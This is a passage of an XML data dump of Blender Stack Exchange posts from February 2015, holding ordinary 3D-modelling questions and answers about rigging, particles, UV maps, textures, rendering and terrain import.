LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-02-02T12:20:39.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24262" PostTypeId="1" CreationDate="2015-02-05T14:13:42.577" Score="4" ViewCount="28273" Body="&lt;p&gt;Is there a way to force a model to a T-pose? I need my model to be in a T-pose so that I can export it to Unity for a humanoid rig. But putting a model in a T-pose manually is hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to do this automatically (something except makewalk script)?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FKRLc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JDkyp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="11305" LastEditDate="2015-02-05T17:31:27.417" LastActivityDate="2020-05-06T17:36:37.967" Title="How to put a model in a T-pose automatically?" Tags="&lt;export&gt;&lt;rigging&gt;&lt;armature&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24263" PostTypeId="1" CreationDate="2015-02-05T16:08:21.450" Score="18" ViewCount="619" Body="&lt;p&gt;Is it possible to select specific particle hairs or hair keys in Blender with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a script on Blender 2.73a which involves finding hairs in a system by their index and applying the rekey or subdivide operators to change the number of segments. As I understand it, I'd need to select just the individual hair so that the operators work on it and leave the other hairs alone. So far I've found nothing in the API documentation that would let me do that, just ways to select all or random hairs or to change existing selections.&lt;/p&gt;&#xA;" OwnerUserId="2400" LastActivityDate="2020-01-30T17:28:44.217" Title="Select individual hairs with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24264" PostTypeId="1" CreationDate="2015-02-05T16:29:10.777" Score="0" ViewCount="178" Body="&lt;p&gt;I'm using a score layer above a game layer.&#xA;The score layer is a Dynamic Text Display, coded in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start game engine (press 'p' at keyboard) in the score layer &lt;em&gt;alone&lt;/em&gt;, I got this visualization:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkpmU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, oddly, when I'm executing the two layers together, I got this visualization:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NEXFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of show the zeros, show @s!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a score, it works correctly.&#xA;But, instead of show any number, show always @s. Score working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vXtDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2015-02-05T16:29:10.777" Title="Game Engine's bad visualization with layers" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24265" PostTypeId="1" AcceptedAnswerId="24283" CreationDate="2015-02-05T16:38:32.933" Score="1" ViewCount="345" Body="&lt;p&gt;I'm modelling an aircraft landing gear. I have currently done the wheel part only, but as it's just a piece of the whole landing gear, I would like to have it as a &quot;base&quot; object that can be used in many configurations. Some examples (not mine) are front landing gear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dDamX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDamX.jpg&quot; alt=&quot;front landing gear with two wheels&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.foundation3d.com/store/images/Airplane_Landing_FRONT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;foundation3d.com&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and wing landing gear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VmCTp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VmCTp.jpg&quot; alt=&quot;wing landing gear with four wheels&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.aircraftrecognition.co.uk/images/Aircraft/Landing%20gear/Airplane_Landing_WING.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;aircraftrecognition.co.uk&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the wheel itself is pretty much the same on either, but the part that connects it to the airplane can be very different depending on the configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I create the different gear configurations by duplicating the wheel itself and editing? Or are there better methods where I can have only one wheel model (like an array modifier)? It seems to me the multiple objects approach (wheel, gear) is clumsy as I can't control how exactly the wheel connects to the gear.&lt;/p&gt;&#xA;" OwnerUserId="3143" LastEditorUserId="32220" LastEditDate="2019-03-26T12:22:08.120" LastActivityDate="2019-03-26T12:22:08.120" Title="How to organize an extensible and reusable object?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24267" PostTypeId="1" AcceptedAnswerId="24269" CreationDate="2015-02-05T17:23:59.693" Score="2" ViewCount="2321" Body="&lt;p&gt;I'm brand new to Blender, and am attempting to subtract one object from another. Simple, I know, and all I have read says to use the modifier tool, which is a wrench.  However, I can not find this wrench.  &lt;img src=&quot;https://i.stack.imgur.com/VCdXg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;attached is a screen shot of my toolbar showing where I thought the wrench should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please tell me what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thank you kindly,&#xA;Matt&lt;/p&gt;&#xA;" OwnerUserId="11416" LastEditorUserId="241" LastEditDate="2015-02-05T17:31:12.773" LastActivityDate="2015-02-05T17:47:49.123" Title="Why isn't the modifier icon appearing when an object is selected?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24268" PostTypeId="2" ParentId="24253" CreationDate="2015-02-05T17:25:08.123" Score="2" Body="&lt;p&gt;You can use the &lt;em&gt;manipulate center points&lt;/em&gt; option for this. It works best with a pivot set to the 3D cursor so select the center cube, and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;em&gt;Cursor to selected&lt;/em&gt; to send the cursor there. Then hit &lt;kbd&gt;.&lt;/kbd&gt; to set the pivot to the 3D cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qdxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the &lt;em&gt;manipulate center points&lt;/em&gt; option by clicking the arrow with the dots over it. Now simply scale the all the objects to send them further away. (&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-02-05T17:25:08.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24269" PostTypeId="2" ParentId="24267" CreationDate="2015-02-05T17:25:20.103" Score="6" Body="&lt;p&gt;Metaball objects cannot have modifiers applied to them. Once an object that can have a modifier applied to it (like a mesh or a curve) is selected the wrench icon will appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects that can have modifiers added to them are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Meshes&lt;/li&gt;&#xA;&lt;li&gt;Curves&lt;/li&gt;&#xA;&lt;li&gt;Surfaces&lt;/li&gt;&#xA;&lt;li&gt;Text&lt;/li&gt;&#xA;&lt;li&gt;Lattices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-05T17:47:49.123" LastActivityDate="2015-02-05T17:47:49.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24270" PostTypeId="2" ParentId="24251" CreationDate="2015-02-05T17:37:59.297" Score="20" Body="&lt;p&gt;Here is what I achieved using transparent nodes and AnimAll addon.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n42rA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plane and give it a 'slashy' shape. Add a curve and place a mesh along it using a &lt;em&gt;Curve Modifier&lt;/em&gt;. Add a &lt;em&gt;Subsurf Modifier&lt;/em&gt; also if you like.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d2CS6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prepare two textures- a color map texture (in this case I used a hair photo) and a mask texture (a simple oblong b&amp;amp;w gradient image).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TNlWF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create two &lt;em&gt;UV Maps&lt;/em&gt;- first for a color texture and second for a mask (which will be helpful in achieving the fading effect). Unwrap the mesh using &lt;em&gt;Project from View (Bounds)&lt;/em&gt;. Scale the island of the second UV map as shown below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bRkq9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the nodes as pictured below. We want to use the color texture for the emission color and as a mask for a transparency. Optional you may add an extra overall transparency to the mesh (just add one more transparency node and mix it with existing nodes).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fsj27.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we'll set up an oblong gradient texture as a mask for a fading effect.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/083zE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the uv island as pictured below, enable the &lt;strong&gt;&lt;em&gt;AnimAll Addon&lt;/em&gt;&lt;/strong&gt; and check the UVs box . Go to the desired start frame and insert a keyframe. Next, place the uv island in the dark part of a gradient texture. Go to another chosen frame and insert a keyframe again. Play the animation in &lt;em&gt;Object Mode&lt;/em&gt; and you'll see the fading effect.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e1ove.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same animation as on top, but with less transparency and played slower.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kb2ZR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1036/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1036&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2016-02-21T17:03:21.830" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24272" PostTypeId="1" AcceptedAnswerId="24380" CreationDate="2015-02-05T18:11:17.330" Score="14" ViewCount="37858" Body="&lt;p&gt;I've got a Macbook Pro Retina, Mid 2014, and I'm trying to get GPU rendering to work on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded Cuda, the GPU shows up in user preferences, and I've selected GPU Compute under the render settings. I've ran the BMW benchmark on both my CPU and GPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes about 4 minutes 25 seconds using my CPU, and 7 minutes 39 seconds on my GPU. I've downlaoded iStat Menus, and check my CPU/GPU usage during the render. The GPU is being used, but the memory usage is a tiny fraction of it's total memory. I have a 750m graphics card, which should be substantially faster than the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't the GPU rendering faster than the CPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of render:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XVRkX.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVRkX.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11418" LastEditorUserId="2217" LastEditDate="2015-02-06T00:04:51.597" LastActivityDate="2016-12-23T22:11:02.820" Title="GPU slower than CPU?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24274" PostTypeId="1" CreationDate="2015-02-05T18:34:51.857" Score="5" ViewCount="53864" Body="&lt;p&gt;I need to convert a Particle System to a mesh object, so I can export it to Unity 3D. How could I do this?&lt;/p&gt;&#xA;" OwnerUserId="10890" LastEditorUserId="3078" LastEditDate="2015-02-05T19:30:01.800" LastActivityDate="2015-02-06T04:11:43.980" Title="How to convert particles to mesh" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ClosedDate="2015-02-06T04:58:12.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="24275" PostTypeId="1" AcceptedAnswerId="24363" CreationDate="2015-02-05T18:41:19.453" Score="5" ViewCount="5455" Body="&lt;p&gt;I seem to have a problem that I cant find the solution for any where...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that when I export my UV Map and import into my editing program whether that be paint or paint.net I zoom in to the UV Island boundaries and I can see some blurriness and transparency; somewhat like it has some antialiasing. It would make my life easier if I could simply use the magic wand tool to select the right area for each face/island.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with some of the settings in blenders UV tab in the UV editor and I cant seem to find anything that is fixing the problem with the exported texture. I apologize if I don't seem to make any sense, its hard to explain the problem im having and there are no solutions online from what I could find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Image of what it looks like in blender:&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NboIL.png&quot; alt=&quot;Image of what it looks like in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Image of what it looks like once exported into paint.net:&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7OyH7.png&quot; alt=&quot;Image of what it looks like once exported into paint.net&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou in advance!&lt;/p&gt;&#xA;" OwnerUserId="11419" LastActivityDate="2015-02-07T12:03:09.253" Title="Exported Blender UV Map is blurry" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24276" PostTypeId="1" AcceptedAnswerId="24292" CreationDate="2015-02-05T18:44:56.470" Score="0" ViewCount="695" Body="&lt;p&gt;Is there a reasonably simple way to create a torus with minimal vertices and faces (that is no artifacts from merging extrusions) with more than 256 segments (in my case 1800 major segments and 360 minor segments) with a major radius of about 900m and a minor radius of about 50m?&lt;/p&gt;&#xA;" OwnerUserId="11360" LastActivityDate="2015-02-06T01:31:31.233" Title="Creating a torus with more than 256 segments with nearly 1km radius?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24277" PostTypeId="1" AcceptedAnswerId="24297" CreationDate="2015-02-05T18:51:49.460" Score="4" ViewCount="1053" Body="&lt;p&gt;I'm using Blender 2.73 and I'm trying to create tiles using the brick texture node.  The problem I'm having is that the horizontal mortar size is smaller than the vertical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have them be equivalent sizes?&lt;/p&gt;&#xA;" OwnerUserId="11417" LastActivityDate="2015-02-06T08:04:40.323" Title="Can I set the Brick Texture Node horizontal mortar size to be equivalent to the vertical mortar size?" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24278" PostTypeId="2" ParentId="24275" CreationDate="2015-02-05T19:07:54.467" Score="2" Body="&lt;p&gt;That's caused to the low resolution of the image the UV map is mapped to; this resolution is the same that the file containing the UV layout will have when you export it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase the resolution, press either the &lt;code&gt;New&lt;/code&gt; or the &lt;code&gt;+&lt;/code&gt; button, next to the name of the texture, depending on wether you already have another texture opened; then, a dialog box will appear, in which you can set the resolution of the texture slot - 1024 squared is the default, so use something like 4096 by 4096. You can change the &lt;code&gt;Generate Type&lt;/code&gt; from &lt;em&gt;Blank&lt;/em&gt; to &lt;em&gt;UV Grid&lt;/em&gt;, and then press &lt;code&gt;Ok&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdxdF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-02-05T19:07:54.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24279" PostTypeId="2" ParentId="24274" CreationDate="2015-02-05T19:27:52.457" Score="1" Body="&lt;p&gt;This is pretty easy to do for &lt;em&gt;hair&lt;/em&gt; particles. In Blender, particles are &quot;stored&quot; in a &lt;em&gt;Modifier&lt;/em&gt;, which means it can be applied like any other; This only works for hair particles, for obvious reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert your Particles, go to the &lt;em&gt;Properties&lt;/em&gt; editor and navigate to the Modifiers tab; Here, you'll find all modifiers applied to the selected object, including the &lt;em&gt;Particle System&lt;/em&gt; modifier. You can then press &lt;code&gt;Convert&lt;/code&gt; to convert your particles into a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/koXkP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-02-05T19:27:52.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24280" PostTypeId="2" ParentId="24277" CreationDate="2015-02-05T19:30:43.000" Score="7" Body="&lt;p&gt;&lt;del&gt;the mortar size is a percentage of the width or height so they won't be equal unless width = height&#xA;or &lt;/del&gt; you can try this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9oAfJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tweak the scale on the Y axis till you get the effect&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-06T08:04:40.323" LastActivityDate="2015-02-06T08:04:40.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24281" PostTypeId="2" ParentId="24274" CreationDate="2015-02-05T19:32:38.643" Score="11" Body="&lt;p&gt;The following assumes that you are using 'Particle System-&gt; Render-&gt; Object -&gt; Dupli Object'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 1) You can press the Convert button for the Particles Modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KMF5l.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2) If you would like to keep the particle Emitter intact, you can use the 'Make Duplicates Real' Tool &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;.&lt;br&gt;&#xA;This will create object particles at every particle position just as if you applied the Modifier but the particle emitter and its particle system will still be intact in case you would like to make further changes.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-02-06T04:11:43.980" LastActivityDate="2015-02-06T04:11:43.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24282" PostTypeId="1" AcceptedAnswerId="24315" CreationDate="2015-02-05T19:35:34.390" Score="2" ViewCount="62" Body="&lt;p&gt;Trying to create &lt;a href=&quot;https://blender.stackexchange.com/questions/24226/grease-pencil-objects/24258#24258&quot;&gt;a GreasePencil addon&lt;/a&gt; I already fail at the first task. It seems the GreasePencil &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_5/bpy.types.ID.html#bpy.types.ID.copy&quot; rel=&quot;nofollow noreferrer&quot;&gt;doesn't inherit the copy() function from ID&lt;/a&gt;.&#xA;Where and how could I add this (as this is pretty crucial for what I try to do)?&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-02-06T14:18:38.313" Title="GreasePencil: can't copy datablock" Tags="&lt;python&gt;&lt;grease-pencil&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24283" PostTypeId="2" ParentId="24265" CreationDate="2015-02-05T19:43:09.703" Score="1" Body="&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt; (Duplicate Linked) might be what you are looking for.  By duplicating this way, when you edit one of the instances then all the others will be changed as well.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-05T19:43:09.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24284" PostTypeId="1" CreationDate="2015-02-05T19:57:50.857" Score="54" ViewCount="6055" Body="&lt;p&gt;I'm involved in a project to do with ink animation and experimentation. I found this incredible piece of animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/6794856&quot;&gt;Chinese Ink Style Animation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally thought this was some sort of After Effects compositing (is it even possible in AE?!), but found out that this particular animation was created in 3DS Max with Krakatoa and FumeFX. I'm just wonder if a similar effect is doable with Blender's smoke simulator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various YouTube videos that have pretty decent results of ink renders from Blender, but I can't seem to find anything of a similar sort of movement animation. Just blobs floating around!&lt;br&gt;&#xA;The closest thing I found was this animation of a  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=W18v8zkkbqI&quot;&gt;Rigged Character Using Blender Smoke Sim&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but again I can't seem to replicate this. The smoke just doesn't seem to follow my character's animation.&lt;br&gt;&#xA;Any help with this would be greatly appreciated.&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11420" LastEditorUserId="11420" LastEditDate="2015-02-12T17:53:05.183" LastActivityDate="2016-03-25T23:59:08.117" Title="Creating Inky-looking characters in Blender" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;physics&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="20" FavoriteCount="39" ContentLicense="CC BY-SA 3.0" />
  <row Id="24285" PostTypeId="1" AcceptedAnswerId="26066" CreationDate="2015-02-05T20:06:57.437" Score="2" ViewCount="508" Body="&lt;p&gt;I am in GLSL mode and I have a material with transparency, my problem is that transparency is not displayed as it is in the final render of BI. Instead of a smooth result in transparency I get patches that are more transparent than other areas and I dont know why. This problem happens in texture and material mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCob8.jpg&quot; alt=&quot;This is an image that displays the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;http://www.pasteall.org/blend/34218&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is the blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2015-02-20T15:50:01.810" Title="Why I am seeing patches of diffirent transparency in this model with GLSL" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;opengl&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24286" PostTypeId="1" CreationDate="2015-02-05T20:52:32.430" Score="3" ViewCount="2276" Body="&lt;p&gt;I have rigged a mesh and then I've added a curved path I'd like it to follow. Next, I've added a path constraint to the armature and everything works fine except for one thing: when the mesh rotates to follow the path's curve it is heavily distorted towards the curve's direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I could fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4880" LastActivityDate="2021-01-08T09:15:33.420" Title="Follow path constraint deforming mesh" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24287" PostTypeId="1" AcceptedAnswerId="24290" CreationDate="2015-02-05T21:32:46.113" Score="2" ViewCount="1779" Body="&lt;p&gt;I'm trying to create a track for &lt;a href=&quot;http://www.assettocorsa.net/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assetto Corsa&lt;/a&gt; (a racing game) based on a real mountain road that's close to where I live. It's an ambitious endeavour, but I hope to learn a lot in the process - even if I won't eventaully finish the whole road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've already done is: I imported an SRTM elevation file with this &lt;a href=&quot;https://github.com/vvoovv/blender-geo/wiki/Import-SRTM-%28.hgt%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;excellent plugin&lt;/a&gt; which turns it into a georeferenced mesh. I had to delete big parts of this mesh because it was huge, but now I have the mountain ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I imported an OSM file containing the road in question with &lt;a href=&quot;https://github.com/vvoovv/blender-geo/wiki/Import-OpenStreetMap-(.osm)&quot; rel=&quot;nofollow noreferrer&quot;&gt;a plugin&lt;/a&gt; written by the same author. Now I have two gereferenced objects which superimpose perfectly from what I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ABGhb.png&quot; alt=&quot;Perspective view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Perspective view with the road floating above the mesh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that, while the mesh is 3D and ready to use, the road is a 2D path. What I want is to have a 3D path of the road (with elevation) which I can then use as the basis of the road for the game as explained &lt;a href=&quot;https://www.youtube.com/watch?v=gPmzhqfw-7I&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BuCii.png&quot; alt=&quot;Top down view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Top down view&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can obtain this path by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Intersecting an extrusion of the 2D road path with the 3D mesh, but how do I do this? I went as far as creating the extrusion, but I don't know how to do the intersection.&lt;/li&gt;&#xA;&lt;li&gt;Using Knife Project to cut the mesh with the road's projection. Again, I tried, but Blender crashes, so I'm not sure if I'm doing it right.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11407" LastEditorUserId="11407" LastEditDate="2015-02-05T21:55:05.423" LastActivityDate="2015-02-05T22:21:23.513" Title="Projecting a 2D road onto a 3D elevation mesh" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24288" PostTypeId="2" ParentId="8807" CreationDate="2015-02-05T22:04:33.400" Score="2" Body="&lt;p&gt;A &lt;a href=&quot;https://developer.blender.org/rBced4c5fe2260489f44a38498c3adfd3333215a26&quot; rel=&quot;nofollow noreferrer&quot;&gt;feature very similar to this&lt;/a&gt; was added quite recently (about an hour ago &#xA;at the time of writing).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Animation play: Follow feature. Enabled from playback menu in the&#xA;  timeline.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When enabled, ipo, dopesheet, NLA, timeline, clip and sequence editors&#xA;  will follow the current frame during animation. When the cursor&#xA;  reaches the end of the screen, then the next range of frames of the&#xA;  same width is displayed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;To use it you'll have to &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;grab a 